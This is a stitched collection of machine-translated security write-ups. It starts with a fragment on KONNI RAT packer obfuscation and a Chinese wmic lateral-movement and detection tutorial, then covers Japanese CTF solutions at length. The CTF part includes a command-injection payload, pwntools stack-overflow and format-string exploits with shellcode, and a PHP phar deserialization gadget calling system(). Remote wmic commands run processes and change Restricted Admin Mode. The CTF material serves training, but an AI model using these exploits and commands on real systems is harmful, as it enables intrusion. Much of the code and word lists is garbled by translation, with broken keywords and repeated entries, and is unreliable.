一旦封裝程序知道這兩個值,它就會開始從一個地方跳到另一個地方,使分析變得更加困難。為此,它將存儲在下一個地址的某個寄存器值中以跳轉到寄存器中。這些寄存器的值是在jmp 指令之後立即計算的,使用像POP [reg] - jmp [reg]或ADD [reg1, reg2] - jmp [reg1]這樣的結構。請注意,反編譯程序將無法顯示實際流程,因為跳轉地址是由一個未定義的寄存器確定的。

11.png

顯示最終jmp 變為RBX 的模糊處理代碼

這些簡單技術的組合使封裝程序現在處於流的控制中,但靜態反編譯程序無法表示代碼將遵循的路徑。最後,封裝程序會執行大量的垃圾指令,並最終執行真正有趣的代碼。例如,在IAT 構建任務中,原始代碼在GetProcAddress 調用之間將使用不超過20 條指令。但封裝後的代碼可執行超過30000 條指令。

但根據最近的追踪分析,最近的攻擊不再使用該封裝程序。

總結如上所述,KONNI Rat 每隔一段時間就會更新迭代一次。開發者會不斷改進代碼。在我們看來,他們的努力旨在打破沙盒規則,使檢測更加困難,特別是通過常規簽名,因為可執行文件的關鍵部分現在已加密。

0x00 前言WMI(Windows Management Instrumentation)是一種管理功能,提供了一個統一的環境來訪問Windows系統組件,支持本地和遠程訪問。在之前的文章《WMI Attacks》 、《WMI Backdoor》 、《WMI Defense》 和《Study Notes of WMI Persistence using wmic.exe》 介紹過相關內容,本文將要在信息收集和橫向移動的角度,分析wmic的常用方法,結合利用思路,給出防禦建議。

0x01 簡介本文將要介紹以下內容:

wbemtest用法

通過wmic查詢主機信息

通過wmic修改註冊表

通過wmic執行程序

本地和遠程訪問WMI服務

0x02 wbemtest用法參考資料:

https://docs.microsoft.com/en-us/mem/configmgr/develop/core/understand/introduction-to-wbemtest

Windows系統默認安裝,可以用於連接WMI命名空間,訪問WMI服務

借助wbemtest,我們可以獲得WMI完整的功能細節和使用方法

界面如下圖

173584b19168096ba15863a0e9c14b9.png

點擊Connect.輸入WMI命名空間root\cimv2,連接到root\cimv2後,可進入主頁面,如下圖

常用功能示例如下:

(1)Enum Classes…

枚舉類,可以用來枚舉所有的對象,查詢每個類的定義

這里以查詢Win32_Process對象為例:

依次選中Enum Classes. - Recursive - OK,選中Win32_Process,雙擊進入對象編輯器,如下圖

Properities欄可以查看屬性,例如這裡有Handle,可以通過後文的Query.進行查詢

Methods欄可以查看方法,例如這裡有Create,可以通過後文的Execute Method.進行調用

(2)Query…

查詢屬性,需要輸入WMI Query Language (WQL)

參考資料:

https://docs.microsoft.com/en-us/windows/win32/wmisdk/wql-sql-for-wmi

語法示例:

SELECTHandleFROMWin32_Process查詢結果如下圖

這條查詢語句換成wmic的命令如下:

wmic/namespace:'\\root\cimv2'PATHWin32_ProcessgetHandle(3)Execute Method…

調用方法,這里以調用Win32_Process對象的Create方法為例

設置Object Path為Win32_Process,點擊OK

在彈出的界面設置設置Method為Create

點擊Edit in Parameters.在彈出的界面中依次選擇CommandLine - Edit Property

設置Valve為calc,如下圖

點擊Save Object - Execute!彈出計算器

以上操作換成wmic的完整命令如下:

wmic/namespace:'\\root\cimv2'PATHWin32_Processcallcreate'calc'簡寫命令如下:

wmicprocesscallcreate'calc'0x03 本地和遠程訪問WMI服務1.查詢主機名稱本地:

wmic/namespace:'\\root\cimv2'PATHWin32_ComputerSystemgetName遠程:

wmic/node:192.168.1.1/user:'administrator'/password:'123456'/namespace:'\\root\cimv2'PATHWin32_ComputerSystemgetName2.註冊表操作具體細節可參考《Study Notes of WMI Persistence using wmic.exe》

這裡列出幾個常用命令:

(1)獲得當前用戶的遠程桌面連接歷史記錄

枚舉註冊表鍵值HKCU:\Software\Microsoft\Terminal Server Client\Servers,命令如下:

wmic/namespace:'\\root\cimv2'pathstdregprovcallEnumKey^h80000001,'Software\Microsoft\TerminalServerClient\Servers'(2)遠程查詢和修改Restricted Admin Mode

關於Restricted Admin Mode的內容可參考《渗透技巧——Pass the Hash with Remote Desktop(Restricted Admin mode)》

遠程查詢和修改Restricted Admin Mode的C Sharp實現可參考:

https://github.com/GhostPack/RestrictedAdmin

https://github.com/airzero24/WMIReg

遠程查詢Restricted Admin Mode的wmic命令如下:

wmic/node:192.168.1.1/user:'administrator'/password:'123456'/namespace:'\\root\cimv2'pathstdregprovcallGetDWORDValue^H80000002,'System\CurrentControlSet\Control\Lsa','DisableRestrictedAdmin'遠程開啟Restricted Admin Mode的wmic命令如下:

wmic/node:192.168.1.1/user:'administrator'/password:'123456'/namespace:'\\root\cimv2'pathstdregprovcallSetDWORDValue^H80000002,'System\CurrentControlSet\Control\Lsa','DisableRestrictedAdmin','0'遠程關閉Restricted Admin Mode的wmic命令如下:

wmic/node:192.168.1.1/user:'administrator'/password:'123456'/namespace:'\\root\cimv2'pathstdregprovcallSetDWORDValue^H80000002,'System\CurrentControlSet\Control\Lsa','DisableRestrictedAdmin','1'3.執行程序本地:

wmicprocesscallcreate'calc'遠程:

wmic/node:192.168.1.1/user:'administrator'/password:'123456'processcallcreate'calc'4.進程操作查詢本地所有進程:

wmic/namespace:'\\root\cimv2'PATHWin32_Processgetname,processid,commandline/FORMAT:list查詢遠程主機所有進程:

wmic/node:192.168.1.1/user:'administrator'/password:'123456'/namespace:'\\root\cimv2'PATHWin32_Processgetname,processid,commandline/FORMAT:list其他用法還可參考:https://docs.microsoft.com/en-us/archive/blogs/jhoward/wmic-samples

0x04 防禦檢測需要注意的是,默認配置下WMI的日誌記錄很少,無法記錄WMI的命令細節

WMI-Activity的Trace日誌能夠記錄簡單的日誌,但也無法記錄WMI的命令細節,開啟方法如下:

打開Event Viewer,選擇View - Show Analytic and Debug Logs

依次選擇Applications and Services Logs - Microsoft - Windows - WMI-Activity - Trace,點擊Enable Log

使用wmic命令時,默認啟動進程c:\windows\system32\wbem\wmic.exe,這裡可以選擇Sysmon記錄進程創建的細節,查看CommandLine獲得WMI的命令細節

詳細日誌細節可參考:https://jpcertcc.github.io/ToolAnalysisResultSheet/details/wmic.htm

也可以選擇開源的數字取證工具Velociraptor,能夠記錄進程創建的細節,包括CommandLine

0x05 小結本文介紹了wmic的相關基礎知識,結合利用思路,給出防禦建議。

予備競争

web_ezcms

スワッガーリークテスト/テストテストアカウントログイン、/sys/user/**認証を実行していません。スーパー管理者ユーザーを追加できます。

1049983-20240802141202586-170871422.jpg

現時点では、roleIDはまだ不明です。ロールモジュールは不正ではありません。ユーザーモジュールを読み続け、インターフェイスを発見します

1049983-20240802141203506-2056064072.jpg

ここにはロールIDリークがあります。ここでは、以前にリークされた管理者のIDFCF34B56-A7A2-4719-9236-867495E74C31に記入してください

取得/sys/user/roles/fcf34b56-a7a2-4719-9236-867495e74c31この時点で、スーパー管理者IDは11b3b80c-4a0b-4a92-96ea-fdd4f7a4a4a7e9

{

'createwhere ':0、

'Deptid':'1'、

'email ':' '、

'password ':'123456'、

'Phone':'1111111111'、

'roleids': [

'11b3b80c-4a0b-4a92-96ea-fdd4f7a4a7e9'

]、

'sex':'fmale'、

'username ':'hacker'

}パスワードフィールドデコードに失敗し、テストアカウントでログを確認して、AESのキーであるAbcdefghijklmnopを見つけ、ユーザーが正常に追加されました。ユーザーを追加した後、モジュールでping関数を見つけましたが、WAFがあります。 WAFをバイパスし、コマンドを実行してフラグを取得します

post/sys/pinghttp/1.1

host:

user-agent:mozilla/5.0(macintosh; intelmacosx10.15; rv3360126.0)gecko/20100101firefox/126.0

Accept:Application/json、text/javascript、*/*; q=0.01

Accept-Language:Zh-Cn、Zh; q=0.8、Zh-tw; q=0.7、zh-hk; q=0.5、en-us; q=0.3、en; q=0.2

Accept-Encoding:GZIP、deflate

content-type:Application/json; charset=utf-8

authorization:eyjhbgcioiijiuzi1nij9.eyjzdwiioiijmy2yzngi1ni1hni1hni1hni2eyltq3mtktotizni04njc0otvlnzrjmzeilcjqd3qtcm9szxmta2 v5xyi6wylotoxnuqfnrqhnkiblkzgixswiaxnzijoiewluz3h1zs5jb20ilcjqd3qtcgvybwlzc2lvnmta2v55ijpbinnn5czp1c2vyomxpc3qilcjzexm 6ZgVWDDP1CGRHDGUILCJZEXM6ZGVWDDPKZXRHAWWILCJZEXM6DXNLCJPYB2XLONVWZGF0ZSISINNN5CZPWZXJTAXNZAW9UOMFKZZCISINNN5CZPWZXJTAXNZAW9UOMFKZCISINN5CZP1C2BYOMFKZCISCISCISINNN5CZP1C2BYOMFKZCISCISCISINN5 p1c2vyomfkzcisinn5czp1c2vyomrlbgv0zwqilcjzexm6cgvybwlzc2lvbjp1cgrhdguilcjzzexm6dxnlcjpkzxrhawwilcjzexm6zgiwiciwiciwic3lciwiciwiciwic3lciwikiwic3lckzwdgkdgkdgkdgkdgkdgkzdgkdgkzdgkzdgkdgkzdgkkzdgkdgkzdgkdgkkzdgkdgkdgkdgkkzdgkkdgkdgkknedgiwic3l jvbgu6dxbkyxrliiwic3lzonjvbgu6zgv0ywlsiiwic3lzomrlchq6bglzdcisinnn5czpkzxb0mfkzcisinn5czp1c2vyonvwzgf0zsisinnn5czp2xl2xl2xl2xLisb2xLie 6cm9sztpkzwxldgvkiiwic3lzonblcm1pc3npb246bglzdcisinn5czpwzjtaxnzaw9uomrldgfpbcisinn5czpwzxjtaxnzaw9uomrldgfpbcisinn5czinn5czinn5czinn5czinn5czinn5czinn5czn5czinn5czinn5czinn5czinn5czinn5czinn5czinn5czinn5czinn5czinn5czn5czn5 mrlbgv0zwqilcjzexm6bg9nomrlbgv0zwqilcjzexm6dxnlcjpyb2xlomrldgfpbcisinnn5czinnn5czinnn5czinnn5czinnn5czinnn5cisinnn5czpsb2c6bglzdcjdlcjqd3qddx nlci1uyw1llwtlesi6imfkbwluiiwizxhwijoxnze2nze3mjiwlcjpyxqioje3mty3mty3mty3mty3mty3mty0lftbd2b7yaampkktl_eo0kjcb5j3bw8fka

X-Requested With:xmlhttprequest

Content-Length:28

Origin:

DNT:1

SEC-GPC:1

connection:close

参照:

cookie:jsessionid=c701d746da63e8fb94270ad6d2fd9adb

sec-fetch-dest:Empty

sec-fetch-mode:cors

SEC-FETCH-SITE:SAME-ORIGIN

Priority:U=1

{'ip':'10.10.10.10-1 || cat/flag'}

トップシークレットファイルコードP

importcv2

importnumpyasnp

S=1790932091819291499534661361785420675976823277412565868079070707029728290913658

fromcrypto.util.numberimport*

#P、Q=(24162760378372762422470687817893681267、

#34743245425789325049640796550677777649463)

## assertp ** 2+q ** 2==s

## print(isprime(p)、isprime(q))

#img_path='flag_enc.png'

#IMG=cv2.imread(img_path)

#print(img.shape)

fromympy.solvers.diophantine.diophantineimportcornacchia

'' '

この場所は、sから変更し、分解し、Factordbだけを変更する必要があります

f={724721568156194459002808961358148476581:1,157606014 2432444438240601:1,5801674693:1,2:1,1351:1}}

'' '

x1=cornacchia(1,1、s)

Fora、binx1:

Asserta ** 2+B ** 2==s

ifisprime(a)andisprime(b):

印刷(a、b)

#ここでPとQを取得しました

fromcrypto.util.numberimport*

P、Q=302951519841786100871482507429649247,2954888723650623654106370451762393175957

S=1790932091819291499534661361785420675976823277412565868079070707029728290913658

assertisprime(p)andisprime(q)andp ** 2+q ** 2==s

importcv2

path1='flag_enc.png'

img=cv2.imread(path1)

#print(img.shape)

r、c、d=img.shape

印刷(r、c)

#i、j=101,201

fromtqdmimporttqdm

A、B=P、Q

foriintqdm(range(r)):

Forjinrange(c):

set1=set()

set1.add((i、j))

i1、j1=i、j

WHILETRUE:

x=(i1+b*j1)%r

y=((a*i1)+(a*b+1)*j1)%c

i1、j1=x、y

if(x、y)notinset1:

set1.add((x、y))

else:

ifi==0andj==0:

続行します

assertlen(set1)==190#はすべてデフォルト190です

#ここは190であることがわかりました。後で触れ始めたのは偶然でした。

#s1=s%190

#print(s1)

#importnumpyasnp

#defarnold(img、shuffle_times、a、b):

#r、c、d=img.shape

#p=np.zeros(img.shape、np.uint8)

#print(r、c、d、shuffle_times)

#forsinrange(shuffle_times):

#foriinrange(r):

#forjinrange(c):

#x=(i+b*j)%r

#y=((a*i)+(a*b+1)*j)%c

#P [x、y、]=img [i、j、]

#img=np.copy(p)

#returnp

#x1=アーノルド(img、11、p、q)

#cv2.imwrite( 'flag3.png'、x1)

## cv2.imwrite( 'flag1.png'、img)

C=17909320918192914995346613617854206759768232774125658680790707029728290913658

P、Q=302951519841786100871482507429649247,2954888723650623654106370451762393175957

importcv2

importnumpyasnp

Defarnold(IMG、shuffle_times、a、b):

r、c、d=img.shape

p=np.zeros(img.shape、np.uint8)

印刷(r、c、d、shuffle_times)

forsinrange(shuffle_times):

foriinrange(r):

Forjinrange(c):

x=(i+b*j)%r

y=((a*i)+(a*b+1)*j)%c

p [x、y、]=img [i、j、]

img=np.copy(p)

戻る

img=cv2.imread( 'flag_enc.png')

#print(img)

C1=C%190

Foriinrange(190):

img=arnold(img、1、p、q)

cv2.imwrite(f'flag {i+1} .png '、img)

'' '

1。激しく列挙してください。とにかく、サイクルは190です。すべてを列挙してください。 i=66を見つけると、flag67.pngはflagです

2.FLAG {ailuropoda_rnelaNoleuca}

''

正しいことをし続ける

トラフィックパケットから取得されたデータは、画像の16進システムです

1049983-20240802141204115-667496384.jpg

彼の16進システムを確認し、彼の終わりに追加のデータがあることを見つけます

1049983-20240802141204919-1421521109.jpg

それはVIM描画コマンドで、drawitを直接インストールし、コマンドを入力してマップを描画します

ゲーム

ゲームを直接プレイしてフラグを取得します

これは本当のサインイン

です

1049983-20240802141205695-1581426213.jpg

funiot

Dockerファイルのセットを提供し、バイナリファイルを実行し、逆を直接開き、次にダイナミックデバッグと静的分析を組み合わせてプロトコル形式を分析し、最終的に読み取りファイルの関数の1つを使用し、//ByPass比較検出を使用します。

1049983-20240802141206375-612647167.jpg

次に、フラグを読みます:

frommpwnimport*

Importzlib

#p=remote( '127.0.0.1'、6768)

p=remote( '173.34.20.10'、6768)

ヘッダー=b'funiot '#6

CMD=0x102

cmd_encode=int(cmd).to_bytes(2、 'big')

len=0x0101

length=int(len).to_bytes(2、 'big')

#content=b'getinfo:shadow '

#content=b'getinfo:/lib/udev/rc_keymaps/asus_pc39.toml '

content=b'getinfo: //flag '

content=content.ljust(0x101、b '\ x00')

check_sum=int(zlib.crc32(content))。to_bytes(4、 'big')

full_content=header+length+cmd_encode+check_sum+content

#packet:

#header:6Bytes

#length:2bytes

#CMD:2BYTES

#CheckSum:4Bytes

#CONTENT:UNKNOW

context.log_level='debug'

p.send(full_content)

#p.Interactive()

ImportBase64

print(base64.b64decode(p.recv())。デコード( 'utf-8'))

#command:getinfo、setinfo、secret

yesure_hack

質問には、最大値と最小値を入力し、この範囲の乱数を推測する必要があります。正しく推測すると、スタックオーバーフローを入力します。オーバーフロー文字の数は間違っていると推測した回数であるため、2つの隣接する数値を入力して、十分な回数を推測してから、定期的なスタックオーバーフロー使用率を実行できます。スタックを開いた後に実行できるため、検出でペイロードが空になっていないことが必要なため、シェルコードを直接書き、XORバイパスされていない非空白検出を実行しました。

#ランダム%(Max-Min+1)+Min

frommpwnimport*

context.log_level='debug'

#p=process( './main')

p=remote( '173.34.20.233'、9999)

P.Sendlinefter(b'ch: '、b'1')

P.Sendlinefter(b'enteraminimumandmaximummumberfortheguessinggame: '、b'12')

Foriinrange(99):

P.Sendlinefter(b'guessanumber '、b'1')

P.Sendlinefter(b'guessanumberbetween '、b'2')

ペイロード=b'a '*0x3c

ペイロード+=P32(0x0805DEA9)

ペイロード+=asm( '' 'push0xffffffff4

ポピアックス

push0xffffffffffff

popepx

Xoreax、EBX

push0xff978cd0

Popecx

Xorecx、EBX

pushecx

push0x6e69622f

movebx、esp

Xorecx、ECX

int0x80 '' ')

ペイロード=payload.ljust(99、b'a ')

一時停止()

P.Sendlineferter(b'congratulation! '、ペイロード)

p.Interactive()

msg

辞書の辞書のスタックオーバーフロー +フォーマット文字列の脆弱性。これにより、文字列の脆弱性がカナリアとLIBCに漏れています。

frommpwnimport*

#p=process( './main')

p=remote( '173.34.20.68'、9999)

P.Sendlinefter(b'message: '、b'%11 $ p ')

canary=int(p.recv(18)、16)

成功(f'canary: {hex(canary)} ')

P.Sendlinefter(b'message: '、b'%3 $ p ')

libc=int(p.recv(14)、16)-0x10e1f2

成功(f'libc: {hex(libc)} ')

One=libc+0xe3b01

P.Sendlinefter(b'message: '、b'a'*0x28+p64(canary)+b'b '*8+p64(one))

一時停止()

P.Sendlinefter(b'message: '、b' \ x00 '*0x10)

p.Interactive()

スタックオーバー

も古典的なスタックオーバーフローですが、リモートLIBCはローカルとは少し異なります。さらに、返品アドレスは、Leaf ESP [ECX-4]、RETを介して返されます。これは正常に使用されていません。ただし、プログラムをさまざまな出力場所に制御した後、スタック環境は基本的に同じであると判断されているため、最終的には、LIBCに頼って利用しないようにしてください。

frommpwnimport*

#context.log_level='debug'

#p=process( './stackover')

p=remote(b'173.34.20.46 '、9999)

p.sendafter(b'read: '、b'a'*0x29b)

P.Recvuntil(b'a '*0x29b)

canary=u32(b '\ x00'+p.recv(3))

成功(f'canary: {hex(canary)} ')

#一時停止()

p.sendafter(b'read: '、b'a'*(0x29b+7+8+0x2c-0x30-4)))

P.Recvuntil(b'a '*(0x29b+7+8+0x2c-0x30-4)))

P.Recv(4)

P.Recv(4)

stack=u32(p.recv(4))

成功(f'stack: {hex(stack)} ')

#一時停止()

p.sendafter(b'read: '、b'b'*(0x29b+0x18+7)))

P.Recvuntil(b'b '*(0x29b+0x18+7))

libc=u32(p.recv(4))-0x1aed5

成功(f'libc: {hex(libc)} ')

#一時停止()

p.sendafter(b'read: '、b'a'*(0x29b+7+8+0x2c+0x54))

P.Recvuntil(b'a '*(0x29b+7+8+0x2c+0x54)))

elf_base=u32(p.recv(4))-0x3fb8

成功(f'elf_base: {hex(elf_base)} ')

ペイロード=b'c '*(0x29a-0x14-8)

#execve0xc9510

#System0x41780

#puts0x6dc40

#ペイロード+=P32(libc+0x6dc40)

#ペイロード+=P32(elf_base+0x1130)

ペイロード+=b '/bin/sh \ x00'

ペイロード+=P32(elf_base+0x128e)

#ペイロード+=p32(elf_base+0x3fcc)

#ペイロード+=p32(0)

ペイロード+=P32(stack-0x50)

ペイロード+=p32(0)

#ペイロード+=P32(libc+0x18e363)

#ペイロード+=P32(libc+0x18e363)

ペイロード+=p32(0)

ペイロード+=p32(0)

ペイロード+=P32(カナリア)

ペイロード+=p32(0)*3

ペイロード+=P32(stack-0x44)

ペイロード+=P32(elf_base+0x3fb8)

ペイロード+=b '/bin/sh \ x00'

一時停止()

context.log_level='debug'

p.sendafter(b'read: '、ペイロード)

p.Interactive()

stackover-revenge

は255以内に追加および減算関数を提供します。最初は脆弱性は見られませんでしたが、後にプログラムの通常のプロセスに少しバックドアコードが追加されたことがわかりました。

1049983-20240802141207116-1405232494.jpg

IDAはF5を押し、ここでは見えません。別の場所のバックドアコードは、上記のコードのトリガー条件を完了することができます。

朝のCTFパート

web

simplelogin

Yakitはパスワードを破裂させました。A123456であることを忘れないでください。

h2amtakmaqa1080.png

pppp

index.phpには任意のファイルがあります:

?php

//upload.php

error_reporting(0);

highlight_file(__ file__);

クラスA {

public $ a;

パブリック関数__Destruct()

{

$ s=$ this- $ a;

$ s();

}

}

クラスB {

public $ cmd;

function __invoke(){

$ this-start()を返します。

}

function start(){

エコーシステム($ this-cmd);

}

}

if(isset($ _ get ['file'])){

if(strstr($ _ get ['file']、 'flag')){

die( 'get out!');

}

echo file_get_contents($ _ get ['file']);

}

upload.php:を読んでください

! - ?php

error_reporting(0);

if(isset($ _ files ['file'])){

mkdir( 'upload');

$ uid=uniqid();

$ ext=Explode( '。'、$ _ files ['file'] ['name']);

$ ext=end($ ext);

move_uploaded_file($ _ files ['file'] ['tmp_name']、 'upload/'.$ uuid。'。png ');

echo'uploadsuccess!filepath:upload/'.$ uuid。 '。png';

} -

アップロードされたファイルは.pngに変更されます

PHARファイルをアップロードし、ホームページにfile_get_contentsを使用してDeserialization実行コマンドをトリガーしてみてください。

//phar.php

?php //phar.php

classa {

public $ a;

publicFunction__Destruct()

{

$ s=$ this-a;

$ s();

}

}

classb {

public $ cmd;

function__construct(){

$ this- $ cmd='catflag';

}

function__invoke(){

$ this-start()を返します。

}

functionstart(){

System($ this-cmd);

}

}

$ b=newb();

$ b-cmd='cat/flag';

$ a=newa();

$ a-a=$ b;

@unlink( 'phar.phar');

$ phar=newpar( 'phar.phar'); //接尾辞はpharでなければなりません

$ phar-startbuffering();

$ phar-setstub( '?php__halt_compiler();'); //Set Stub

$ phar-setmetadata($ a); //カスタムメタデータをマニフェストに保存します

$ phar-addfromstring( 'a.txt'、 'abb'); //ファイルを追加して圧縮します

$ phar-stopbuffering(); //署名は自動的に計算されます

アップロードとアクセス:

key5ca1cpxq1081.png

Misc

ftp

トラフィック抽出zip、そしてパスワードは同じパスワードパスワード1234567890です。

ksfglhwvhfn1082.png

crypto

baby_words with Buddha

AES、しかしXORの後、結果は文字に変換されるので、それを元に戻してAESを解くことができます

rushiwowen=[

'无', 'mu', 'monk', 'room', 'art', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser', 'ser'、 'ser'、 'ser'、 'ser'、 'ser'、 'ser'、 'ser'、 'ser'、 'ser'、 'ser'、 'ser'、 'ser'、 'ser'、 'ser'

'未'、 'li'、 'blin'、 'due'、 'mul'、 '妊娠'、 'san'、 'black'、 'naked'、 'bean'、 'special'、 'div'、 'reach'、 'regent'、 'length'、 'lengs'、 'length'、 'length'、 'length'、

「書かれた」、「番号」、「責任」、「尊敬」、「ro」、「rot」、「尊敬」、「尊敬」、「尊敬」、「尊敬」、「3」、「bing」、「bing」、 'no'、 '責任者、「責任」、「責任」、「責任」、「責任」、「責任」、「責任」、「責任」、「責任」、「責任」、「」、「責任」、「責任」、「責任」、「責任」、「責任」、「責任」、「責任」、「責任」、「責任」、「責任」、「責任」、「責任」、「責任」、「責任」、「責任」、「責任」、「責任」」 「責任」、「責任」、「責任」、

「洞察」、「思考」、「夢」、「削除」、「恐ろしい」、「抑制」、「抑制」、「抑制」、「抑制」、「抑制」、「意志」、「知恵」、「古い」、「」、「」、

'Roar'、 'foot'、 'you'、 'wang'、 'you'、 'won'、 'mu'、 'mu'、 'light'、 'protect'、 'jin'、 'harmony'、 'going'、 'treasure'、 'win'、 'tong'、 'won'、 'win'、 'Tong'、

「薬」、「教師」、「小さな」、「生きている」、「純粋」、「取引」、「マウンテン」、「グッド」、「パス」、「go」、「7」、「 'not'、 'come'、 'smart'、 'smart'、 'smart'、 'smart'、 'smart'、 'smart'、 'smart'、 'smart'、 'smart'、 'smart'、 'smart'、 '

'cause'、 'huldine'、 'five'、 '100'、 'ten000'、 'flowers'、 'buillions'、 'decision'、 'six'、 'fang'、 'name'、 'name'、 'tong'、 'yue'、 'yun'、 'dian'、 'miracle'、

'Zun'、 'tree'、 'root'、 'west'、 'soap'、 'flame'、 'north'、 'qing'、 'number'、 'element'、 '改善'、 'head'、 'silence'、 'momation'、 'element'、 'fore'、 'felement'、 'ement'、 'form'、 'fement'、 'felem'、 '' '' '' '、' feneme '、' '' ''、 'fenemen

'do'、 'shi'、 'ga' '' '、' ni '、' le '、' a '、' du '、' zhong '、' yang '、' Zhong '、' Zhong '、' Zhong '、' Zhong、 'Zhong、' Zhong '、' Zhong '、' Zhong ' 「Zhong」、「Zhong」、「Zhong」、「Zhong」、「Zhong」、「Zhong」、「Zhong」、「Zhong」、「Zhong」、「Zhong」、「Zhong」、「Zhong」、「Zhong」、「Zhong」 「Zhong」、「Zhong」

「アクション」、「空き」、「空き」、「思いやり」、「心配」、「誰か」、「満足」、「安定」、「休息」、「day」、「夜」、「栽培」、

'hold'、 'heart'、 'seeking'、 'ricitation'、 'ricitation'、 'this'、 'sutra'、 'エネルギー、「死」、「排除」、「排除」、「有毒」、「害」、「ハイ」、「ハイ」、「オープン」、「テキスト」、「テキスト」、

'super'、 'lift'、 'cool'、 'if'、 '思考'、 'that'、 '' '、' '' '、' emperor '、' vi '、' true '、' ling '、' qian '、' shu '、' ha '、'尊敬'、

「贈り物」、「風水」、「先祖」、「ファースト」、「親の敬iety」、「ダブル」、「私のマスター」、「滞在」、「私のマスター」、「愛」、「兄弟」、「兄弟」、「最初」、「友人」、「友人」、「友人」、「友人」、

「音楽」、「禅」、「一族」、「私の」、「私の」、「私の」、「教育」、「太陽」、「タイム」、「タイヤ」、「バルス」、「陰」、「Yin」、「困難」、「経済」、

'urgent', 'soft', 'soft', 'shoulder', 'creation', 'soft', 'soft', 'shu', 'shu', 'shu', 'shu', 'creation', 'repet', 'don', 'don', 'don', 'don', 'don', 'don', 'don', 'don', 'don', 'don', 'don', 'don', 'don', 'don', 'don', 'don'、 'don'、 'don'、 'don'、 'don'、 'don'、 'don'、 'don'、 'don'、 'don'、 'don'、 'don'、 'don'、 '

「キル」、「リリース」、「ブリッジ」、「ロード」、「コーブ」、「小さな」、「ドロー」、「ドロー」、「ドロー」、「ドロー」、「スリープ」、「スイープ」、「スイープ」、「スイープ」、「スイープ」、「スイープ」、「ドン」、「投資」、「投資」、

enc='愛を暗唱する人は、メンザバオを守り、心の嘘の嘘の嘘を嘘をついて、心の嘘を殺し、心配し、心配し、嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘を暗唱しています嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘シュー嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘の嘘は

dec=b ''

enc3360のiの場合

Dec +=(rushiwowen.index(i) ^ 64).to_bytes(1、 'Little')

key=b'dasctf@key@^_^@encode !仏! '

iv=b'iv | dasctf | ovo | iv '

crypto.cipher Import AESから

crypto.util.paddingインポートパッドから、unpad

cryportor=aes.new(key、aes.mode_cbc、iv)

#padded_data=pad(data.encode( 'utf-8')、aes.block_size)

encrypted_data=cryptor.decrypt(dec)

print(encrypted_data)

vrsz5zetf131083.png

re

normalandroid

JADXを開くと、1つの関数のみを呼び出して、IDAを見て、過去にそれを見てください。

qthxjbg2tps1084.png

キーのようなものを見て、キーを変換できます。

xul31i40kau1085.png

表面:

owe5c22utg41086.png

表面

pxwy0zlp3mf1087.png

次に、AES暗号化である暗号化ロジックを入力し、Sボックスは過去に変更されました。

gvgg1hrxlbz1088.png

したがって、AESによって実装されたコードを見つけてSボックスを変更し、変換されたキーを使用して復号化します。ネットワークの競争が遮断されたため、当時はスクリプトが保存されていなかったので、私はそれを作りませんでした:

fromcrypto.util.numberimportlong_to_bytes、bytes_to_long

#https://github.com/bozhu/aes-python/blob/master/aes.py

sbox=(

0xbe、0xb4,0x9f、0x70,0xdb、0xad、0x31,0x30,0x6c、0x87、0x87

0x74,0x27,0xc9,0x4c、0x67,0x62,0x0a、0x36,0x08,0xc8、

0x96,0x32,0x00,0xf1,0x38,0x65,0xec、0xed、0x44,0x25、

0xaa、0x33,0x86,0xef、0x0d、0x19,0x7d、0xd5,0x45,0xfb、

0x8d、0x61,0xfe、0x50,0x47,0x7e、0x7c、0xf9,0x01,0xde、

0xff、0xe1,0xac、0x5d、0xb5,0x8e、0x48,0xbf、0x90,0x9d、

0x79,0xcb、0xa6,0xa9,0xfc、0x34,0xcf、0x63,0x5a、0x99、0x99、

0x98,0xb8,0x92,0x2d、0x02,0x89,0x2c、0x3b、0x15,0x72、0x15,0x72

0x5e、0x60,0x29,0x6f、0x0b、0x24,0x6d、0x1c、0x5b、0xe0、

0x37,0xa4,0xcc、0x12,0x93,0xa7,0x09,0xc6,0xb6,0x8f、

0x04,0x20,0xe8,0x46,0xb1,0xae、0x3a、0x68,0x81,0xce、

0x2b、0x0c、0xb3,0x3e、0xc0,0x0e、0x4d、0xd8,0xd2,0xa2、

0x9e、0x56,0x28,0xb0,0x35,0x1b、0x5f、0xf5,0x05,0xbc、

0x3c、0x4f、0x8c、0xe6,0xf6,0x75,0xf4,0xf8,0xdd、0x11、

0xc1,0xb9,0x4e、0x97,0xd6,0xf2,0xe4,0xd1,0x82,0xd3、

0x03,0x8b、0x4b、0xca、0x64,0xeb、0xab、0x71,0xa1,0xba、

0xa8,0x6a、0x1e、0x1a、0xa5,0x49,0x6e、0x53,0x66,0x39、

0x51,0xe9,0x26,0xc4,0xda、0x55,0x3f、0xea、0x85,0x8a、0x85,0x8a、

0xd9,0x13,0x69,0x1f、0xe2,0x7f、0x2f、0xc5,0x88,0x57、

0x73,0xa3,0xe3,0x0f、0xbb、0x18,0xe5,0x42,0x22,0x52、

0x43,0x80,0x2a、0x6b、0x17,0xd7,0x23,0x06,0x58,0x1d、

0x7a、0x84,0xe7,0xee、0xd0,0x41,0xd4,0xbd、0xa0,0xc3、

0xc2,0xfd、0x21,0x54,0xdf、0x7b、0xb7,0xf0,0xb2,0x77、

0x3d、0x07、0x78、0x16、0x9c、0x59、0xaf、0x2e、0x83、0xfa、

